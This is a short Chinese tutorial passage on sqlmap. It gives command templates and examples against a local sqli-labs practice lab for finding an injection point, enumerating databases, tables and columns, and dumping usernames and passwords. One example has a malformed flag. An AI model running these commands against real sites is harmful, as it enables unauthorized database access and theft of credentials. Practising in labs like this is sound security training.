• 基本指令

1.检测「注入点」

格式：sqlmap -u 'http://xx/?id=1' --batch

--batch是使用默认设置

完整例子：sqlmap -u 'http://localhost:8080/sqli-labs-master/Less-5/?id=1' --batch

找到漏洞后可进行精确查询--technique提高速度

2.查看所有「数据库」

格式：sqlmap -u 'http://xx/?id=1' --dbs --batch --technique=T

完整例子：sqlmap -u 'http://localhost:8080/sqli-labs-master/Less-8/?id=1' --dbs --batch --technique=T

3.查看「数据表」

格式：sqlmap -u 'http://xx/?id=1' -D DB --tables --batch --technique=T

完整例子：sqlmap -u 'http://localhost:8080/sqli-labs-master/Less-5/?id=1' -D security --tables --batch --technique=T

4.查看「字段」

格式：sqlmap -u 'http://xx/?id=1' -D DB -T TBL --columns --batch --technique=T

完整例子：sqlmap -u 'http://localhost:8080/sqli-labs-master/Less-5/?id=1' -D security -T users --columns --batch --technique=T

5.查看「数据」

格式：sqlmap -u 'http://xx/?id=1' -D DB -T TBL -C "COL1,COL2" --dump --batch --technique=T

完整例子：sqlmap -u 'http://localhost:8080/sqli-labs-master/Less-5/?id=1' -D security -T users -C "username,password" --dump --batch ---technique=T

• 常用参数